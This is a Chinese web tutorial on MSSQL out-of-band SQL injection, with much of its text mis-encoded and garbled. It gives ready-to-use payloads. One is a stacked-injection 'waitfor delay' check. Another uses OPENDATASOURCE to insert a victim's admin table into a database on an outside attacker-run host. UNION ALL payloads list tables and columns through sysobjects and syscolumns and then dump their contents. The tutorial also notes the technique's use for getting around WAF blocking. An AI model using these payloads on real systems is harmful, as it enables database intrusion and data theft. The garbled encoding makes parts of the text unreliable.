MSSQL反彈注入詳解
1.什么是MSSQL
MS SQL實(shí)際上是指微軟的SQL Server數(shù)據(jù)庫(kù)服務(wù)器,MYSQL可以說(shuō)是MSSQL的簡(jiǎn)化版。MYSQL數(shù)據(jù)庫(kù)一般專用于PHP網(wǎng)站,適合小,中型網(wǎng)站,而且還是開(kāi)源的。 MSSQL目前大型網(wǎng)站使用,一般是商務(wù)網(wǎng)站使用,因?yàn)槭俏④涢_(kāi)發(fā)的,所以要收費(fèi),而且要貴一些!
MSSQL與MYSQL的基本語(yǔ)法區(qū)別:(只針對(duì)滲透測(cè)試常用的語(yǔ)法)
MYSQL: 1.使用‘;'來(lái)作為語(yǔ)句的結(jié)尾 2.使用‘\'進(jìn)行轉(zhuǎn)義 3.系統(tǒng)自帶庫(kù): mysql、information_schema、performance_schema、sys 4.查詢當(dāng)前數(shù)據(jù)庫(kù)名稱:database() 5.查看表名:tables MSSQL: 1.‘;'是可選的,可寫(xiě)可不寫(xiě),但是MSSQL中提供了go關(guān)鍵詞作為批處理語(yǔ)句的結(jié)尾 2.在SQL Server中則不需要轉(zhuǎn)義,有歧義的時(shí)候只需使用引號(hào)即可 3.系統(tǒng)自帶庫(kù): Master、Model、Msdb、Tempdb 4.查詢當(dāng)前數(shù)據(jù)庫(kù)名稱:db_name() 5.查看表名:sysobjects
2.原理
讓目標(biāo)把得到的信息插入到滲透測(cè)試人員的數(shù)據(jù)庫(kù)中
3.MSSQL注入的條件
a.目標(biāo)要能訪問(wèn)外網(wǎng)
b.被插入的數(shù)據(jù)庫(kù)要能用公網(wǎng)IP連接
4.注入步驟
a.反彈注入
--1.搭建MSSQL環(huán)境 /*自己搭建一個(gè)MSSQL環(huán)境是不現(xiàn)實(shí)的,首先你得有公網(wǎng)IP,有了公網(wǎng)IP才能將查詢到的數(shù)據(jù)插入 到我們的數(shù)據(jù)庫(kù)中。這里可以免費(fèi)申請(qǐng)一個(gè)虛擬空間來(lái)幫我們搭建MSSQL環(huán)境, 比如:Alwaysdata,ProFreeHost,香港云等等。*/ --2.連接公網(wǎng)數(shù)據(jù)庫(kù) --使用Navicat數(shù)據(jù)庫(kù)管理工具連接,連接名任意,主機(jī)為本機(jī)地址 --3.判斷是否存在堆疊注入 ;select name from sysobjects waitfor delay ‘00:00:05:00'//如果網(wǎng)站發(fā)生延遲,說(shuō)明存在 --4.在連接的數(shù)據(jù)庫(kù)中創(chuàng)建一個(gè)新表用于存放數(shù)據(jù) --5.反彈注入 --用opendatasource函數(shù)進(jìn)行反彈注入。 OPENDATASOURCE(provider_name,init_string) /*provider_name為用于訪問(wèn)數(shù)據(jù)源的OLE DB 提供程序的PROGID的名稱 init_string為連接地址、端口、用戶名、密碼、數(shù)據(jù)庫(kù)名 server=連接地址,端口;uid=用戶名;pwd=密碼;database=數(shù)據(jù)庫(kù)名稱*/ --例如: insert into opendatasource(‘sqloledb','server=den1.mssql8.gear.host,1433;uid=0;pwd=0;database=admin').admin.dbo.LYP select *from admin — qwe /*insert into代表語(yǔ)句屬性,是插入語(yǔ)句 opendatasource(‘sqloledb','server=den1.mssql8.gear.host,1433;uid=0;pwd=0;database=admin').admin.dbo.LYP表示將查詢到的內(nèi)容插入到什么地方 select *from admin表示要查與數(shù)據(jù)的內(nèi)容 */
b.MSSQL聯(lián)合查詢注入
<1.用常規(guī)SQL注入查字段數(shù)
<2.判斷顯錯(cuò)位
由于MSSQL語(yǔ)法比MYSQL嚴(yán)格些,所以不能直接全填數(shù)字來(lái)尋找顯錯(cuò)位,MYSQL中union只需要滿足字段數(shù)相同即可,但是MSSQL中如果你的填充位與數(shù)據(jù)庫(kù)字段類型不匹配是沒(méi)有數(shù)據(jù)顯示的!而且MSSQL的聯(lián)合查詢最好使用union all!不知道是什么類型時(shí)可以填‘null’
'union all select 'null','null','null' --s1
然后用數(shù)字逐個(gè)替換null判斷類型
到了這一步差不多可以猜出是MSSQL數(shù)據(jù)庫(kù),那么接下來(lái)的步驟就不能按照SQL注入的語(yǔ)法繼續(xù)查數(shù)據(jù)了
< 3.查表名
利用MSSQL自帶表獲取用戶自建表
'union all select id,name,'null' from sysobjects where xtype='U' --s2
<4.查字段名
'union all select 'null',name,'null' from dbo.syscolumns where id=··· ··· --s3
<5.查字段內(nèi)容
'union all select 字段名,字段名,字段名 from 表名 --q
5.補(bǔ)充
反彈注入是用來(lái)解決盲注,WAF攔截,訪問(wèn)過(guò)快被封
堆疊注入:
a.原理
在SQL中,分號(hào)(;)是用來(lái)表示一條sql語(yǔ)句的結(jié)束。試想一下我們?cè)?; 結(jié)束一個(gè)sql語(yǔ)句后繼續(xù)構(gòu)造下一條語(yǔ)句,會(huì)不會(huì)一起執(zhí)行?因此這個(gè)想法也就造就了堆疊注入。而union injection(聯(lián)合注入)也是將兩條語(yǔ)句合并在一起,兩者之間有什么區(qū)別么?區(qū)別就在于union 或者union all執(zhí)行的語(yǔ)句類型是有限的,可以用來(lái)執(zhí)行查詢語(yǔ)句,而堆疊注入可以執(zhí)行的是任意的語(yǔ)句。
b.局限性
<1.堆疊注入的局限性在于并不是每一個(gè)環(huán)境下都可以執(zhí)行,可能受到API或者數(shù)據(jù)庫(kù)引擎不支持的限制;
<2.堆疊查詢可以執(zhí)行任意的sql語(yǔ)句,但是這種注入方式并不是十分的完美的。在我們的web系統(tǒng)中,因?yàn)榇a通常只返回一個(gè)查詢結(jié)果,因此,堆疊注入第二個(gè)語(yǔ)句產(chǎn)生錯(cuò)誤或者結(jié)果只能被忽略,我們?cè)谇岸私缑媸菬o(wú)法看到返回結(jié)果的;
< 3. 在使用堆疊注入之前,我們也是需要知道一些數(shù)據(jù)庫(kù)相關(guān)信息的,例如表名,列名等信息。
到此這篇關(guān)于MSSQL反彈注入的文章就介紹到這了,更多相關(guān)MSSQL反彈注入內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!
相關(guān)文章
sql server 復(fù)制表從一個(gè)數(shù)據(jù)庫(kù)到另一個(gè)數(shù)據(jù)庫(kù)
本文將詳細(xì)介紹SQL server 數(shù)據(jù)庫(kù)如何把一張表復(fù)制到另一個(gè)數(shù)據(jù)庫(kù)表中,需要了解更多的朋友可以參考下2012-11-11SqlServer使用公用表表達(dá)式(CTE)實(shí)現(xiàn)無(wú)限級(jí)樹(shù)形構(gòu)建
本文給大家分享的是sqlserver中使用公用表表達(dá)式(CTE)實(shí)現(xiàn)無(wú)限級(jí)樹(shù)形構(gòu)建的詳細(xì)代碼,非常的簡(jiǎn)單實(shí)用,有需要的小伙伴可以參考下2017-08-08sqlserver中的自定義函數(shù)的方法小結(jié)
“自定義函數(shù)”是我們平常的說(shuō)法,而“用戶定義的函數(shù)”是 SQL Server 中書(shū)面的說(shuō)法。2010-06-06數(shù)據(jù)庫(kù)常用的sql語(yǔ)句匯總
這篇文章主要介紹了數(shù)據(jù)庫(kù)常用的sql語(yǔ)句匯總,需要的朋友可以參考下2020-02-02